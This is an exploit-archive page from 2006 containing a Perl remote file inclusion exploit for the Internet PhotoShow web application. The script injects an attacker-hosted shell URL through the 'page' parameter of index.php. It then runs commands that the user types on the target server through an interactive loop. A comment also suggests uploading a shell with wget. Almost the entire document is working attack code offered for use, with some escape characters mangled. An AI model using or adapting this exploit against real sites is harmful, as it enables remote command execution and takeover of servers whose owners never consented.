[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Internet PhotoShow (page) Remote File Inclusion Exploit
# Published : 2006-04-18
# Author : Hessam-x
# Previous Title : RechnungsZentrale V2 <= 1.1.3 Remote Inclusion Vulnerability
# Next Title : PHP Net Tools <= 2.7.1 Remote Code Execution Exploit
#!/usr/bin/perl
#
# Exploit by Hessam-x (www.hessamx.net)
# sub usage()
# {
#print " Usage: perl hx.pl [host] [cmd shell] [cmd shell variable]rnn";
#print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd";
#exit();
#}
######################################################
# ___ ___ __ #
# / | _____ ____ | | __ ___________________ #
#/ ~ __ _/ ___| |/ // __ _ __ ___ / #
# Y // __ \ ___| < ___/| | // / #
# ___|_ /(____ )___ >__|_ \___ >__| /_____ #
# / / / / / / #
# Iran Hackerz Security Team #
# WebSite: www.hackerz.ir #
# DeltaHAcking Team #
# website: www.deltahacking.com #
######################################################
# Internet PhotoShow Remote File Inclusion Exploit #
######################################################
# upload a shell with this xpl:
# wget http://shell location/
use LWP::UserAgent;
print "-------------------------------------------n";
print "= Internet PhotoShow =n";
print "= By Hessam-x - www.hackerz.ir =n";
print "-------------------------------------------nn";
$bPath = $ARGV[0];
$cmdo = $ARGV[1];
$bcmd = $ARGV[2];
if($bPath!~/http:/// || $cmdo!~/http:/// || !$bcmd){usage()}
while()
{
print "Hessam-x@PhotoShow $";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?page='.$cmdo.'?&'.$bcmd.'='.$cmd)or die "n[-] Could not connect !n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[n]/[ê]/;
if (!$cmd) {print "n[!] Please type a Commandnn"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/)
{print "n[-] Could Not Connect to cmd Hostn";exit}
elsif ($return =~/^<b>Fatal.error/) {print "n[-] Invalid Commandn"}
if($return =~ /(.*)/)
{
$freturn = $1;
$freturn=~ tr/[ê]/[n]/;
print "rn$freturnnr";
last;
}
else {print "Hessam-x@PhotoShow $";}}}last;
sub usage()
{
print "[!] Usage : hx.pl [host] [cmd shell location] [cmd shell variable]n";
print " - E.g : hx.pl http://www.milw0rm.com http://www.milw0rm.com/shell.txt cmdn";
exit();
}
# www.Syue.com [2006-04-18]